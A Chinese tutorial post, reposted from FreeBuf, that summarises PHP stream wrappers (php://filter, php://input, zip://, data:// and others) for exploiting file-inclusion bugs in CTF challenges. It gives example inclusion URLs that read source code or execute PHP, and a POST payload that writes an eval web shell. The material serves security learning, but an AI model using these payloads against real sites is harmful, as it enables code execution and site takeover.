php伪协议总结
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">本篇总结下一些封装协议,涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://等</span></p><h2><strong><span style="font-family: comic sans ms, sans-serif">一.【file://协议】</span></strong></h2>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">PHP.ini:</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">file:// 协议在双off的情况下也可以正常使用;</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">allow_url_fopen :off/on</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">allow_url_include:off/on</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"> </span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><img src="https://img2020.cnblogs.com/blog/1937992/202006/1937992-20200602132001217-1053952523.png" alt=""></span></p>
<p> </p>
<p> </p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">file:// [文件的绝对路径和文件名]</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt</span></p>
<p><img style="display: block" src="https://image.3001.net/images/20170925/15063200934739.png!small" alt="02 2.png" width="690" data-original="https://image.3001.net/images/20170925/15063200934739.png!small"></p>
<h2><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">二.【php://协议】</span></h2>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">条件:</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">不需要开启allow_url_fopen,<span style="color: rgba(239, 71, 71, 1)">仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。</span></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq</span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>php://filter</strong> 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">PHP.ini:</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">php://filter在双off的情况下也可以正常使用;</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">allow_url_fopen :off/on</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">allow_url_include:off/on</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><img src="https://img2020.cnblogs.com/blog/1937992/202006/1937992-20200602132307452-892692249.png" alt=""></span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">测试现象:</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><img src="https://img2020.cnblogs.com/blog/1937992/202006/1937992-20200602132442633-1091058952.png" alt=""></span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"></span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>php://input</strong> 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>PHP.ini:</strong></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">allow_url_fopen :off/on</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">allow_url_include:on</span></p>
<p><img src="https://img2020.cnblogs.com/blog/1937992/202006/1937992-20200602132611224-1460693422.png" alt=""></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>测试现象:</strong></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">http://127.0.0.1/cmd.php?file=php://input</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"> <?php phpinfo()?></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">也可以POST如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><img src="https://img2020.cnblogs.com/blog/1937992/202006/1937992-20200602132658330-472689552.png" alt=""></span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"></span></p>
<p> </p>
<h2><span style="font-family: comic sans ms, sans-serif"><strong>三.【zip://, bzip2://, zlib://协议】</strong></span></h2>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>PHP.ini:</strong></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">allow_url_fopen :off/on</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">allow_url_include:off/on</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"> </span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">参考自:http://php.net/manual/zh/wrappers.compression.php</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><img src="https://img2020.cnblogs.com/blog/1937992/202006/1937992-20200602132809983-2003727814.png" alt=""></span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"></span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>1.【zip://协议】</strong></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>使用方法:</strong></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">zip://archive.zip#dir/file.txt</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>测试现象:</strong></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><img src="https://img2020.cnblogs.com/blog/1937992/202006/1937992-20200602133006638-177215011.png" alt=""></span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"></span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>2.【bzip2://协议】</strong></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>使用方法:</strong></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">compress.bzip2://file.bz2</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>测试现象:</strong></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">or</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><img src="https://img2020.cnblogs.com/blog/1937992/202006/1937992-20200602133203256-355079794.png" alt=""></span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"></span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>3.【zlib://协议】</strong></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>使用方法:</strong></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">compress.zlib://file.gz</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"> </span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>测试现象:</strong></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">or</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><img src="https://img2020.cnblogs.com/blog/1937992/202006/1937992-20200602133251907-100907257.png" alt=""></span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"></span></p>
<p> </p>
<h2><span style="font-family: comic sans ms, sans-serif"><strong>四.【data://协议】</strong></span></h2>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>PHP.ini:</strong></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">data://协议必须双在on才能正常使用;</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">allow_url_fopen :on</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">allow_url_include:on</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">参考自:http://php.net/manual/zh/wrappers.data.php, 官方文档上allow_url_fopen应为yes。</span></p>
<p><img src="https://img2020.cnblogs.com/blog/1937992/202006/1937992-20200602133413893-1227293317.png" alt=""></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><strong>测试现象:</strong></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">or</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"> </span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">也可以:</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?></span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">or</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><img src="https://img2020.cnblogs.com/blog/1937992/202006/1937992-20200602133452979-556444476.png" alt=""></span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"></span></p>
<p> </p>
<h2><span style="font-family: comic sans ms, sans-serif"><strong>五. 常规小结:</strong></span></h2>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">PHP封装协议在CTF蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待小伙伴的交流和补充。</span></p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"><img src="https://img2020.cnblogs.com/blog/1937992/202006/1937992-20200602133612437-163441181.png" alt=""></span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt"></span></p>
<p> </p>
<p><span style="font-family: comic sans ms, sans-serif; font-size: 14pt">转自:https://www.freebuf.com/column/148886.html</span></p>
<p> </p><br><br>
来源:https://www.cnblogs.com/zzjdbk/p/13030717.html
頁:
[1]